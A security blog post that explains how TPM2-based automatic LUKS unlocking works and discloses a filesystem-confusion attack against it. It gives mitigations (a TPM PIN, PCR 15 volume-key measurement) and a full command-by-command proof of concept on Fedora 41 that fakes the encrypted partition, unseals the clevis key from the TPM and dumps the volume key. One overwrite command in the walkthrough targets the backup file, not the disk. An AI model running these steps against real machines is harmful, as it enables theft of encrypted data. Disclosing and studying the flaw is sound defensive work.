oddlama's blog

Bypassing disk encryption on systems with automatic TPM2 unlock

Have you setup automatic disk unlocking with TPM2 and systemd-cryptenroll or clevis? Then chances are high that your disk can be decrypted by an attacker who just has brief physical access to your machine - with some preparation, 10 minutes will suffice. In this article we will explore how TPM2 based disk decryption works, and understand why many setups are vulnerable to a kind of filesystem confusion attack. We will follow along by exploiting two different real systems (Fedora + clevis, NixOS + systemd-cryptenroll).

# Examples commands used to enroll a key into the TPM. Whether your system is
# suffers from this issue does not depend on which PCRs you choose here.
systemd-cryptenroll --tpm2-pcrs=0+2+7 --tpm2-device=auto <device>
clevis luks bind -d <device> tpm2 '{"pcr_bank":"sha256","pcr_ids":"0,1,2,7"}'

TL;DR: Most TPM2 unlock setups fail to verify the LUKS identity of the decrypted partition. Since the initrd must reside in an unencrypted boot partition, an attacker can inspect it to learn how it decrypts the disk and also what type of filesystem it expects to find inside. By recreating the LUKS partition with a known key, we can confuse the initrd into executing a malicious init executable. Since the TPM state will not be altered in any way by this fake partition, the original LUKS key can be unsealed from the TPM. Afterwards, the initial disk state can be fully restored and then decrypted using the obtained key.

You are safe if you additionally use a pin to unlock your TPM, or use an initrd that properly asserts the LUKS identity (which would involve manual work, so you'd probably know if that is the case).

The idea behind TPM2 based disk decryption

The idea behind secure and password-less disk decryption is that the TPM2 can store an additional LUKS key which your system can only retrieve, if the TPM is in a predetermined, known-good state. This state is recorded in the so-called Platform Configuration Registers (PCRs), of which there are 24 in a standard compliant TPM. Their intended use is described in the Linux TPM PCR Registry but also neatly summarized as a table in the systemd-cryptenroll(1) man page.

These registers store hashes which are successively updated while booting based on information like the bootlaoder hash, the firmware in use, the booted kernel, initrd image and a lot more things. By establishing a chain of trust through all components involved in booting up to the linux userspace, we can ensure that altering any component will affect one or several PCRs. Storing data in the TPM requires you to select a list of PCRs and it will ensure that the data can only be retrieved again if all of these PCRs are in the same state as when enrolling the secret.

Several of these registers have an agreed-upon purpose and are updated with some specific information about your system, such as your board's firmware, your BIOS configuration, OptionROMs (extra firmware loaded from external devices such as PCIe devices after POST), the secure boot policy, or other things. Here's an excerpt from the man page from above containing some of the registers that are important to us:

PCRNameExplanation
0platform-codeCore system firmware executable code; changes on firmware updates
2external-codeExtended or pluggable executable code; includes option ROMs on pluggable hardware
7secure-boot-policySecure Boot state; changes when UEFI SecureBoot mode is enabled/disabled, or firmware certificates (PK, KEK, db, dbx, …) changes.
15system-identitysystemd-cryptsetup(8) optionally measures the volume key of activated LUKS volumes into this PCR. systemd-pcrmachine.service(8) measures the machine-id(5) into this PCR. systemd-pcrfs@.service(8) measures mount points, file system UUIDs, labels, partition UUIDs of the root and /var/ filesystems into this PCR.

Below this list, an interesting piece of information is given in the man page about the intended use of PCRs for encrypted volumes:

In general, encrypted volumes would be bound to some combination of PCRs 7, 11, and 14 (if shim/MOK is used). In order to allow firmware and OS version updates, it is typically not advisable to use PCRs such as 0 and 2, since the program code they cover should already be covered indirectly through the certificates measured into PCR 7. Validation through certificates hashes is typically preferable over validation through direct measurements as it is less brittle in context of OS/firmware updates: the measurements will change on every update, but signatures should remain unchanged. See the Linux TPM PCR Registry for more discussion.

If you enroll your own secure boot keys and use a Unified Kernel Image (UKI), then using just PCR 7 will be sufficient to ensure integrity up to the point where we need to unlock our disk. Some distributions instead ship EFI executables that are pre-signed with the Microsoft keys, which allows them to enable secure boot by default without requiring the user to generate and enroll anything on their own. Since this also means that the user cannot sign their kernel and/or initrd image, a trusted and pre-signed shim is often used to measure the hash of the kernel and initrd before executing them into PCR 9, which we would want to use in that case. Another approach is to have the user generate a so-called Machine Owner Key (MOK) if they want to sign something, in which case PCR 14 should be used, too.

So the exact PCR selection may change a bit depending on the user's setup. A quick search on GitHub or on the internet reveals that many people still opt to use additional PCRs like 0 and 2 in addition to 7, which is of course fine but may result in keys becoming inaccessible when the BIOS or some firmware is updated - which can be annoying.

A common (vulnerable) setup

If you already have secure boot set up, configuring TPM2 unlock for your LUKS partition is usually very simple. Most guides will resort to systemd-cryptenroll or clevis which are different implementations that internally do some variation of the following:

  1. Add a newly generated key to your LUKS partition
  2. Seal this key in your TPM based on your selection of PCRs
  3. Store the encrypted TPM context in the LUKS token metadata which is required to unseal the secret at a later point in time

Both clevis and systemd-cryptenroll can store tokens in other ways than a TPM2, for example using a FIDO2 key. I found that clevis also supports retrieving tokens from network resources, but other than that the two tools are very similar in what they do. systemd-cryptenroll just comes pre-packaged with systemd so it is usually a bit simpler to use. Here is an example:

systemd-cryptenroll --tpm2-pcrs=7 --tpm2-device=auto /dev/nvme0n1p3

In theory, the disk is now properly protected, assuming the kernel command line cannot be edited, right? It can only be decrypted if PCR 7 is unchanged, and anything we would do to the bootloader, kernel or initrd would affect PCR 7.

Well, of course, I wouldn't be asking if there wasn't a tiny caveat: Assuming all disks were mounted properly, the initrd can be certain that no code has been modified up to this point. But it does not automatically ensure that the data on them is authentic. As the very last step, the initrd will execute the init executable of the real system, which usually doesn't undergo any kind of signature check before it is executed. And why would it have to - after all it is part of the encrypted root partition which cannot be altered by an attacker.

The exploit

First of all, it is important to know that the initrd will fall back to a password prompt, if TPM unlocking fails for whatever reason. A BIOS update could always cause the secure boot database to be altered (thus invalidating PCR 7), or somebody makes a mistake when updating the system and forgets to sign the kernel and initrd properly. In such a case you don't want to be locked out from your system completely, so asking for the password is a sane thing to do.

But that also means if we replace the encrypted partition with a new LUKS partition (for which we choose the password), then the TPM decryption will fail and we will be asked for the password, which we control. After entering the password, the initrd will now think it has decrypted the partition correctly and proceed. If we manage to put the correct kind of filesystem inside of our fake LUKS partition so that the actual mounting succeeds, we can ship a malicious init binary that now has full access to the unlocked TPM, thus allowing us to decrypt the original filesystem, which we would have to backup before creating our malicious partition.

Now you might think the initrd can simply verify the filesystem UUID before mounting it since we cannot read it from the disk, but remember that anything the initrd knows is public knowledge, as the boot partition and initrd image are not encrypted. So we can just reuse the same LUKS UUID and filesystem UUID if necessary.

Securing the system

To solve this, we need to be able to authenticate all encrypted volumes before accessing any file on them. In this article by Lennart Poettering from October 2022, where he describes the state of secure boot in systemd, he mentions how the process should look like to make the system secure. It is a bit involved so let me reiterate the important part.

After a disk has been unlocked, we want to derive a value from its volume key (the master key used to encrypt all its data) and use this value to extend PCR 15. This ensures that any fake volume would change this value since the original volume key cannot be known. Using systemd-cryptsetup instead of cryptsetup can already take care of this by adding tpm2-measure-pcr=yes to the crypttab file.

If we now ensure that the disk decryption order is deterministic, then we can compare the value in PCR 15 against a known and signed value in the initrd. If the wrong value is observed, the initrd can now abort the boot process before executing anything malicious.

Many broken guides

There are loads of guides that describe in more detail how to setup TPM2 based disk unlocking, and while the concept is always the same, you will certainly find one adjusted to your favorite distribution. Here's a list of guides that I found online, sorted by date:

Unfortunately, I did not find any guide that addresses this, so most user setups are probably suffering from this issue. Though in all fairness, whether this is an issue to you obviously depends on your threat model. If you are using the TPM just to unlock your home server which nobody else has physical access to, then maybe this is a non-issue to you. But if you use this to protect the data on your laptop against theft, then chances are you want to set a TPM pin or implement PCR 15 verification as explained above.

Notably, I found that the ArchWiki entry of systemd-cryptenroll acknowledges this issue in a warning near the end of the article:

Only binding to PCRs measured pre-boot (PCRs 0-7) opens a vulnerability from rogue operating systems. A rogue partition with metadata copied from the real root filesystem (such as partition UUID) can mimic the original partition. Then, initramfs will attempt to mount the rogue partition as the root filesystem (decryption failure will fall back to password entry), leaving pre-boot PCRs unchanged. The rogue root filesystem with files controlled by an attacker is still able to receive the decryption key for the real root partition. See Brave New Trusted Boot World and BitLocker documentation for additional information.

And while this is correct, just using any of the PCRs 8-23 doesn't automatically protect your data either. The initrd still has to ensure that the respective PCR is changed before executing the system's init binary, which is not done by default.

Proof-of-concept exploitation of a Fedora machine

Now, let's have a look at a real system which we will setup in a similar way to how anyone else would have done it. I've picked one of the Fedora articles above, but you can expect this to work for all of the other distributions, too. In summary, my setup included the following steps:

  • Install Fedora 41, I chose an encrypted root with ext4 on LUKS
  • Enable secure boot in the BIOS (and install the Microsoft keys since Fedora is signed with those keys)

An interesting thing we notice right away is that the Fedora bootloader is signed using the Microsoft keys. We've already briefly talked about this in the beginning, this means it cannot sign the initrd at all. Instead, they have a signed shim that is executed after the bootloader which will calculate hashes of the kernel and initrd and extend PCR 9 with those values. Therefore, it is critical that we now include PCR 9 in our selection when enrolling the key to the TPM, otherwise the initrd could just be modified.

This approach has the advantage that the user doesn't have to deal with custom secure boot keys, but the downside is that every kernel or initrd update will affect the value in PCR 9, thus requiring us to re-enroll the key after rebooting on each system update. Here is a snapshot of my PCRs when I enrolled the key into the TPM. This is also the state that we need to reach later to succeed.

[root@localhost]# systemd-analyze pcrs
NR NAME                SHA256
 0 platform-code       8c2af609e626cc1687f66ea6d0e1a3605a949319514a26e7e1a90d6a35646fa5
 1 platform-config     299b0462537a9505f6c63672b76a3502373c8934f08a921e1aa50d3adf4ba83d
 2 external-code       3d458cfe55cc03ea1f443f1562beec8df51c75e14a9fcf9a7234a13f198e7969
 3 external-config     3d458cfe55cc03ea1f443f1562beec8df51c75e14a9fcf9a7234a13f198e7969
 4 boot-loader-code    5fdbd66c267bd9513dbc569db0b389a37445e1aa463f9325ea921563e7fb37eb
 5 boot-loader-config  38a281376260137602e5c70f7a9057e4c55830d22a02bb5a66013d6ac2576d2f
 6 host-platform       3d458cfe55cc03ea1f443f1562beec8df51c75e14a9fcf9a7234a13f198e7969
 7 secure-boot-policy  4770a4fb1dac716feaddd77fec9a28bb2015e809a34add1a9d417eec36ec1e17
 8 -                   e3e23c0da36fa31767885aec7aee3180fb2f5e0b67569c3a82c2a1c3ca88a651
 9 kernel-initrd       091f6917b0c8788779f4d410046250e6747043a8cd1bd75bf90713cc6de30d99
10 ima                 2566bdf57c3aa880f7b0c480f479c0a88e0e72ae7ef3c1888035e7238bbe9257
11 kernel-boot         0000000000000000000000000000000000000000000000000000000000000000
12 kernel-config       0000000000000000000000000000000000000000000000000000000000000000
13 sysexts             0000000000000000000000000000000000000000000000000000000000000000
14 shim-policy         17cdefd9548f4383b67a37a901673bf3c8ded6f619d36c8007562de1d93c81cc
15 system-identity     0000000000000000000000000000000000000000000000000000000000000000
16 debug               0000000000000000000000000000000000000000000000000000000000000000
17 -                   ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
18 -                   ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
19 -                   ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
20 -                   ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
21 -                   ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
22 -                   ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
23 application-support 0000000000000000000000000000000000000000000000000000000000000000

Inspecting the system

Now, let's pretend we don't know anything about the system and that we just obtained physical access to the machine, which was powered-off.

We start by taking the main disk out and putting it into our machine. You may also be able to boot a Fedora or Debian live image, if the owner has not wiped the Microsoft keys from their BIOS in favor of their own. Once booted, we start investigating the disk layout and partitions:

[root@localhost]# blkid
/dev/nvme0n1p1: LABEL_FATBOOT="EFI" LABEL="EFI" UUID="E2AA-BB8B" BLOCK_SIZE="512" TYPE="vfat" PARTLABEL="EFI System Partition" PARTUUID="b9cd5e99-00ec-45e8-be33-72809ae30602"
/dev/nvme0n1p2: LABEL="boot" UUID="d0a1796a-5c1e-446f-8b70-2910d094d195" BLOCK_SIZE="4096" TYPE="ext4" PARTUUID="e5cc6afa-285b-4bc6-8fb1-a6c5344d20a9"
/dev/nvme0n1p3: UUID="779328d5-00ca-4ade-be44-6daa549642ed" TYPE="crypto_LUKS" PARTUUID="4e73c89f-3840-458a-ada6-0f5349ab36e1"

We take a quick peek at the encrypted partition, which is our main target:

[root@localhost]# cryptsetup luksDump /dev/nvme0n1p3
LUKS header information
Version:        2
Epoch:          9
Metadata area:  16384 [bytes]
Keyslots area:  16744448 [bytes]
UUID:           779328d5-00ca-4ade-be44-6daa549642ed
# [...]
Tokens:
  0: clevis
    Keyslot:    1
# [...]

We can already see that the system owner has used clevis to configure the automated unlocking. What we want to find for now is the initrd and kernel command line, so some GRUB or systemd-boot configuration file. Since Fedora uses pre-signed images, the EFI partition will only contain the loader and shim, which shouldn't contain any information about the actual system. But the boot partition /dev/nvme0n1p2 looks promising, so let's mount it and see what we find:

[root@localhost]# mount /dev/nvme0n1p2 /mnt/boot
[root@localhost]# ls -l /mnt/boot
total 222500
dr-xr-xr-x.  6 root root      4096 Jan 13 23:09 ./
dr-xr-xr-x. 19 root root      4096 Jan 13 23:06 ../
-rw-r--r--.  1 root root    277997 Oct 20 02:00 config-6.11.4-301.fc41.x86_64
drwx------.  3 root root      4096 Jan  1  1970 efi/
drwx------.  3 root root      4096 Jan 13 23:10 grub2/
-rw-------.  1 root root 139254374 Jan 13 23:09 initramfs-0-rescue-868c201e807541caacd6fa6b32d5ba2e.img
-rw-------.  1 root root  45514433 Jan 14 00:54 initramfs-6.11.4-301.fc41.x86_64.img
drwxr-xr-x.  3 root root      4096 Jan 13 23:06 loader/
drwx------.  2 root root     16384 Jan 13 23:05 lost+found/
-rw-r--r--.  1 root root    182584 Jan 13 23:09 symvers-6.11.4-301.fc41.x86_64.xz
-rw-r--r--.  1 root root   9968458 Oct 20 02:00 System.map-6.11.4-301.fc41.x86_64
-rwxr-xr-x.  1 root root  16296296 Jan 13 23:08 vmlinuz-0-rescue-868c201e807541caacd6fa6b32d5ba2e*
-rwxr-xr-x.  1 root root  16296296 Oct 20 02:00 vmlinuz-6.11.4-301.fc41.x86_64*
-rw-r--r--.  1 root root       161 Oct 20 02:00 .vmlinuz-6.11.4-301.fc41.x86_64.hmac

Great! There are the kernel and initrd images plus a loader/ directory containing some GRUB entry configurations. We will take a look at those configuration files first:

[root@localhost]# ls -l /mnt/boot/loader/entries
-rw-r--r--. 1 root root  445 Jan 13 23:10 868c201e807541caacd6fa6b32d5ba2e-0-rescue.conf
-rw-r--r--. 1 root root  369 Jan 13 23:10 868c201e807541caacd6fa6b32d5ba2e-6.11.4-301.fc41.x86_64.conf
[root@localhost]# cat /boot/loader/entries/868c201e807541caacd6fa6b32d5ba2e-6.11.4-301.fc41.x86_64.conf
title Fedora Linux (6.11.4-301.fc41.x86_64) 41 (Server Edition)
version 6.11.4-301.fc41.x86_64
linux /vmlinuz-6.11.4-301.fc41.x86_64
initrd /initramfs-6.11.4-301.fc41.x86_64.img
options root=UUID=1a887df4-286d-4842-bd66-d8993e8596d2 ro rd.luks.uuid=luks-779328d5-00ca-4ade-be44-6daa549642ed rhgb quiet
grub_users $grub_users
grub_arg --unrestricted
grub_class fedora

Wow, this is looks like we already found all the important information! Judging from the commandline syntax, this is likely an initrd that was generated by dracut. There seems to be a LUKS encrypted partition with UUID 779328d5-00ca-4ade-be44-6daa549642ed and a root file system with UUID 1a887df4-286d-4842-bd66-d8993e8596d2, which is certainly inside of the LUKS partition. The type of filesystem is not specified, so we are free to choose anything that is supported by the initramfs for our fake.

Planning our exploit

In theory, we'd need to find out one additional thing - the binary that will be called by the initrd when it want's to switch to the real system. But the chances are very high that it is /sbin/init (this is not the case on all systems though, see the NixOS PoC below for an example). If our assumption doesn't work out, we can still double check by extracting the initrd later.

In order to confuse the initrd, we now need to:

  1. Backup the original LUKS parition so we can later decrypt it
  2. Replace the LUKS partition with a fake LUKS partition that has the UUID 779328d5-00ca-4ade-be44-6daa549642ed
  3. This LUKS partition must contain a filesystem with UUID 1a887df4-286d-4842-bd66-d8993e8596d2
  4. The inner filesystem contains a /sbin/init binary that does what we want

We may actually only backup the first few megabytes of the original LUKS partition and make sure our fake partition is exactly the same size as our backup. By overwriting just the beginning in this way we don't have to do a full disk backup, which would otherwise take a very long time and would require us to bring a spare disk with us.

Backup the beginning of the original LUKS partition

[root@localhost]# dd if=/dev/nvme0n1p3 of=/boot/luks-original.bak bs=64M count=1

We'll abuse the free space on the boot partition to store this backup, which makes it easy to access later. If you don't want to tamper too much with the original disk, you can of course use a small thumb drive.

Create fake partition and filesystem with matching UUIDs

Next, we create a 64MB file in which we will prepare our partition. The size is a bit arbitrary, it just needs to cover the LUKS and inner filesystem header and must fit our exploit binary. So we initialize a new LUKS partition with the UUID from above, and then open it and format its contents with ext4:

[root@localhost]# truncate -s 64MB /root/fakeluks
[root@localhost]# cryptsetup luksFormat /root/fakeluks --key-file <(echo -n 1234) --uuid 779328d5-00ca-4ade-be44-6daa549642ed
[root@localhost]# cryptsetup open /root/fakeluks fakeluks --key-file <(echo -n 1234)
[root@localhost]# mkfs.ext4 /dev/mapper/fakeluks -U 1a887df4-286d-4842-bd66-d8993e8596d2
[root@localhost]# mount /dev/mapper/fakeluks /mnt/root

Prepare filesystem

Now we could theoretically prepare a tiny binary that directly extracts the key from the TPM, but it's far simpler just put a minimal Alpine image there and install the necessary tools to do that manually. This will also easily fit into 64MB. Let's proceed by preparing the Alpine filesystem:

[root@localhost]# cd /mnt/root
[root@localhost]# wget https://dl-cdn.alpinelinux.org/alpine/v3.21/releases/x86_64/alpine-minirootfs-3.21.2-x86_64.tar.gz
[root@localhost]# tar xvf alpine-minirootfs-3.21.2-x86_64.tar.gz
[root@localhost]# rm alpine-minirootfs-3.21.2-x86_64.tar.gz
[root@localhost]# cat /etc/resolv.conf > /mnt/root/etc/resolv.conf      # Just for DNS resolution at this moment, so we can install packages in the chroot
[root@localhost]# chroot /mnt/root /sbin/apk add \                      # Install some tools that we need
                    tpm2-tools tpm2-tss-tcti-device jose cryptsetup
[root@localhost]# wget -O /mnt/root/bin/clevis-decrypt-tpm \
                    "https://raw.githubusercontent.com/latchset/clevis/0839ee294a2cbb0c1ecf1749c9ca530ef9f59f8f/src/pins/tpm2/clevis-decrypt-tpm2"
[root@localhost]# chmod +x /mnt/root/bin/clevis-decrypt-tpm             # Helper to retrieve password from TPM2
[root@localhost]# sed -i 's/root:x/root:/' /mnt/root/etc/passwd         # Remove root password

Overwriting the partition

Finally, we unmount our fake filesystem and overwrite the first 64MB of the original partition with it, then put the disk back into the original machine and reboot:

[root@localhost]# umount /mnt/root
[root@localhost]# cryptsetup close /dev/mapper/fakeluks
[root@localhost]# sync
[root@localhost]# dd if=/root/fakeluks of=/root/luks-original.bak bs=64M count=1

We will now be asked for the LUKS password we just set, since the automatic decryption will obviously not trigger on our fake partition, which has no token metadata. After entering our password from above, we are greeted by the Alpine image. We can login as root without a password:

Welcome to Alpine Linux 3.21
Kernel 6.11.4-301.fc41.x86_64 on an x86_64 (/dev/tty1)

localhost login: root
Welcome to Alpine!

localhost:~#

Verifying PCRs

Now let's check whether any of the PCRs was affected by our operation:

localhost:~# tpm2_pcrread
  sha1:
  sha256:
    0 : 0x8C2AF609E626CC1687F66EA6D0E1A3605A949319514A26E7E1A90D6A35646FA5
    1 : 0x299B0462537A9505F6C63672B76A3502373C8934F08A921E1AA50D3ADF4BA83D
    2 : 0x3D458CFE55CC03EA1F443F1562BEEC8DF51C75E14A9FCF9A7234A13F198E7969
    3 : 0x3D458CFE55CC03EA1F443F1562BEEC8DF51C75E14A9FCF9A7234A13F198E7969
    4 : 0x5FDBD66C267BD9513DBC569DB0B389A37445E1AA463F9325EA921563E7FB37EB
    5 : 0x38A281376260137602E5C70F7A9057E4C55830D22A02BB5A66013D6AC2576D2F
    6 : 0x3D458CFE55CC03EA1F443F1562BEEC8DF51C75E14A9FCF9A7234A13F198E7969
    7 : 0x4770A4FB1DAC716FEADDD77FEC9A28BB2015E809A34ADD1A9D417EEC36EC1E17
    8 : 0xE3E23C0DA36FA31767885AEC7AEE3180FB2F5E0B67569C3A82C2A1C3CA88A651
    9 : 0x091F6917B0C8788779F4D410046250E6747043A8CD1BD75BF90713CC6DE30D99
    10: 0x2566BDF57C3AA880F7B0C480F479C0A88E0E72AE7EF3C1888035E7238BBE9257
    11: 0x0000000000000000000000000000000000000000000000000000000000000000
    12: 0x0000000000000000000000000000000000000000000000000000000000000000
    13: 0x0000000000000000000000000000000000000000000000000000000000000000
    14: 0x17CDEFD9548F4383B67A37A901673BF3C8DED6F619D36C8007562DE1D93C81CC
    15: 0x0000000000000000000000000000000000000000000000000000000000000000
    16: 0x0000000000000000000000000000000000000000000000000000000000000000
    17: 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
    18: 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
    19: 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
    20: 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
    21: 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
    22: 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
    23: 0x0000000000000000000000000000000000000000000000000000000000000000
  sha384:
  sm3_256:

The output format is slightly different to that of systemd-analyze pcrs, but we can see that all values are the same as in the real system. Some boards may have different values in PCR 1 after every power cycle, but don't worry, in that case you can be sure that the owner didn't use it either. So this means our attack was successful! We can now go ahead and retrieve the volume key of the original partition.

Extracting the volume key

By quickly skimming the clevis source we find that it stores a JWE token in the LUKS header, which contains an encrypted secondary key to unlock the partition. It also contains some metadata required to have it decrypted by the TPM, like which PCRs have to be used in the TPM context. Back when we inspected the LUKS header, we found the clevis token in slot 0, so let's first extract this token:

localhost:~# mount -o remount,rw / # This alpine image is not writable by default
localhost:~# mount /dev/nvme0n1p1 /mnt
localhost:~# cryptsetup token export --token-id 0 /mnt/luks-original.bak | tee token.json
{
  "type": "clevis",
  "keyslots": [
    "1"
  ],
  "jwe": {
    "ciphertext": "hNNirkMsfcEWcVKfTFCY3JKNCk0x-8P4svgzkeulNhHnuaOdFQ4YfOCUUX9pkWvonfE2uivS",
    "encrypted_key": "",
    "iv": "5zuFP0kEuqiCh0QL",
    "protected": "eyJhbGciOiJkaXIiLCJlbmMiOiJBMjU2R0NNIiwiY2xldmlzIjp7InBpbiI6InRwbTIiLCJ0cG0yIjp7Imhhc2giOiJzaGEyNTYiLCJqd2tfcHJpdiI6IkFOMEFJRXFpblRfb3Y5cTZHVFo3TU1TcW0tUXgzT1RNaEN6ZTVTUUxRTDhDbGNoakFCQ3Z5Tldyd2lZalRaVzZUNG1rSjd4UF9CeDlCa2N0UXFFZzF6eUZ4aTdMcTRBWTcxWnpGOEVrano3QmRlVWZ3TV9PT2pOdGVGcmZFdUItQzRONGRhWDZ0VHk3RTBrc3BuS3luN3VRQ0p6VDVrcU4yYkpPM0FGTEpwbG1JNWxseXhVdHNQZmRSamhSTFUyWXN6V2Fvay1VQlZsNGtuOWNHTUZCNFdZQmFHd01oM0QwZjF1TjdQUVV4cGx6bWtRSmQzX1FRUGZBM3VNMDZRcXY4OU14STVCc3dra3FiWEhSVmhNNFVCOXNLcjd0dzgzVkFFdXpzZ3c5OXciLCJqd2tfcHViIjoiQUU0QUNBQUxBQUFFa2dBZ2d1X2RMZTk2Z0dyRkZycWw2NXltWG5DQ1RMWWVMYXFkQ0NfSkRRa0R4M01BRUFBZ1UwVFhKaXZhaTVuWVNONGNUT05lNkNJR0djX2ZGbDd6ZlNsNUZuOTFvU0kiLCJrZXkiOiJlY2MiLCJwY3JfYmFuayI6InNoYTI1NiIsInBjcl9pZHMiOiI0LDUsNyw5In19fQ",
    "tag": "7DIhyL_ZNocrUHTPr1PQWg"
  }
}

Clevis would then proceed to extract a JWE token and hand it to clevis-decrypt-tpm2 which decrypts it using the TPM, so we replicate the procedure:

# Get the contents of the .jwe field
localhost:~# jose fmt -j token.json -Og jwe -o- | tee jwe.json
{
  "ciphertext": "hNNirkMsfcEWcVKfTFCY3JKNCk0x-8P4svgzkeulNhHnuaOdFQ4YfOCUUX9pkWvonfE2uivS",
  "encrypted_key": "",
  "iv": "5zuFP0kEuqiCh0QL",
  "protected": "eyJhbGciOiJkaXIiLCJlbmMiOiJBMjU2R0NNIiwiY2xldmlzIjp7InBpbiI6InRwbTIiLCJ0cG0yIjp7Imhhc2giOiJzaGEyNTYiLCJqd2tfcHJpdiI6IkFOMEFJRXFpblRfb3Y5cTZHVFo3TU1TcW0tUXgzT1RNaEN6ZTVTUUxRTDhDbGNoakFCQ3Z5Tldyd2lZalRaVzZUNG1rSjd4UF9CeDlCa2N0UXFFZzF6eUZ4aTdMcTRBWTcxWnpGOEVrano3QmRlVWZ3TV9PT2pOdGVGcmZFdUItQzRONGRhWDZ0VHk3RTBrc3BuS3luN3VRQ0p6VDVrcU4yYkpPM0FGTEpwbG1JNWxseXhVdHNQZmRSamhSTFUyWXN6V2Fvay1VQlZsNGtuOWNHTUZCNFdZQmFHd01oM0QwZjF1TjdQUVV4cGx6bWtRSmQzX1FRUGZBM3VNMDZRcXY4OU14STVCc3dra3FiWEhSVmhNNFVCOXNLcjd0dzgzVkFFdXpzZ3c5OXciLCJqd2tfcHViIjoiQUU0QUNBQUxBQUFFa2dBZ2d1X2RMZTk2Z0dyRkZycWw2NXltWG5DQ1RMWWVMYXFkQ0NfSkRRa0R4M01BRUFBZ1UwVFhKaXZhaTVuWVNONGNUT05lNkNJR0djX2ZGbDd6ZlNsNUZuOTFvU0kiLCJrZXkiOiJlY2MiLCJwY3JfYmFuayI6InNoYTI1NiIsInBjcl9pZHMiOiI0LDUsNyw5In19fQ",
  "tag": "7DIhyL_ZNocrUHTPr1PQWg"
}

# Convert this format into the actual JWE token format
localhost:~# jose jwe fmt -i jwe.json -c | tee token.txt
eyJhbGciOiJkaXIiLCJlbmMiOiJBMjU2R0NNIiwiY2xldmlzIjp7InBpbiI6InRwbTIiLCJ0cG0yIjp7Imhhc2giOiJzaGEyNTYiLCJqd2tfcHJpdiI6IkFOMEFJRXFpblRfb3Y5cTZHVFo3TU1TcW0tUXgzT1RNaEN6ZTVTUUxRTDhDbGNoakFCQ3Z5Tldyd2lZalRaVzZUNG1rSjd4UF9CeDlCa2N0UXFFZzF6eUZ4aTdMcTRBWTcxWnpGOEVrano3QmRlVWZ3TV9PT2pOdGVGcmZFdUItQzRONGRhWDZ0VHk3RTBrc3BuS3luN3VRQ0p6VDVrcU4yYkpPM0FGTEpwbG1JNWxseXhVdHNQZmRSamhSTFUyWXN6V2Fvay1VQlZsNGtuOWNHTUZCNFdZQmFHd01oM0QwZjF1TjdQUVV4cGx6bWtRSmQzX1FRUGZBM3VNMDZRcXY4OU14STVCc3dra3FiWEhSVmhNNFVCOXNLcjd0dzgzVkFFdXpzZ3c5OXciLCJqd2tfcHViIjoiQUU0QUNBQUxBQUFFa2dBZ2d1X2RMZTk2Z0dyRkZycWw2NXltWG5DQ1RMWWVMYXFkQ0NfSkRRa0R4M01BRUFBZ1UwVFhKaXZhaTVuWVNONGNUT05lNkNJR0djX2ZGbDd6ZlNsNUZuOTFvU0kiLCJrZXkiOiJlY2MiLCJwY3JfYmFuayI6InNoYTI1NiIsInBjcl9pZHMiOiI0LDUsNyw5In19fQ..5zuFP0kEuqiCh0QL.hNNirkMsfcEWcVKfTFCY3JKNCk0x-8P4svgzkeulNhHnuaOdFQ4YfOCUUX9pkWvonfE2uivS.7DIhyL_ZNocrUHTPr1PQWg

# Use the clevis-decrypt-tpm2 script to decrypt it with the TPM2
localhost:~# cat token.txt | tr -d '\n' | clevis-decrypt-tpm2
4yurbtxybpBwHBi2O2Kea1vDmhjDRt6yudAKYXinsiI3EUSjwYhwZA

Awesome! We got a password out of it, which is the password clevis originally added to the LUKS partition and which can be used to unlock it! Let's also dump the volume key for future "safekeeping" 🤡:

[root@localhost]# cryptsetup luksDump /mnt/luks-original.bak --dump-volume-key --volume-key-file volume-key.txt \
                    --key-file <(echo -n 4yurbtxybpBwHBi2O2Kea1vDmhjDRt6yudAKYXinsiI3EUSjwYhwZA)
# [...]
Are you sure? (Type 'yes' in capital letters): YES
LUKS header information for /mnt/luks-original.bak
Cipher name:    aes
Cipher mode:    xts-plain64
Payload offset: 32768
UUID:           779328d5-00ca-4ade-be44-6daa549642ed
MK bits:        512
Key stored to file volume-key.txt.

[root@localhost]# cat volume-key.txt | hexdump
0000000 0e42 f904 ae92 97a2 84a0 920a 3b09 faf5
0000010 4feb 1775 b0de 0448 e4f4 c57f 35e6 7e34
0000020 d200 2016 8623 2cd2 5e8e 2262 320a 3e74
0000030 6411 6454 866a d81e 88ff 8dbf b70b 9eef
0000040

At this point we only have to restore the partition to its original state and decrypt the real partition. We can either reboot into a live system (possible if the Microsoft keys are still in the secure boot database) or put the disk back into a system we control. Finally, we can mount the encrypted disk to have a look inside:

[root@localhost]# dd if=/mnt/luks-original.bak of=/dev/nvme0n1p3 bs=64M count=1
[root@localhost]# cryptsetup luksOpen /dev/nvme0n1p3 original \
                    --key-file <(echo -n 4yurbtxybpBwHBi2O2Kea1vDmhjDRt6yudAKYXinsiI3EUSjwYhwZA)
[root@localhost]# mount /dev/mapper/original /mnt
[root@localhost]# cat /mnt/etc/os-release
NAME="Fedora Linux"
VERSION="41 (Server Edition)"
RELEASE_TYPE=stable
ID=fedora
VERSION_ID=41
VERSION_CODENAME=""
PLATFORM_ID="platform:f41"
PRETTY_NAME="Fedora Linux 41 (Server Edition)"
ANSI_COLOR="0;38;2;60;110;180"
LOGO=fedora-logo-icon
CPE_NAME="cpe:/o:fedoraproject:fedora:41"
HOME_URL="https://fedoraproject.org/"
DOCUMENTATION_URL="https://docs.fedoraproject.org/en-US/fedora/f41/system-administrators-guide/"
SUPPORT_URL="https://ask.fedoraproject.org/"
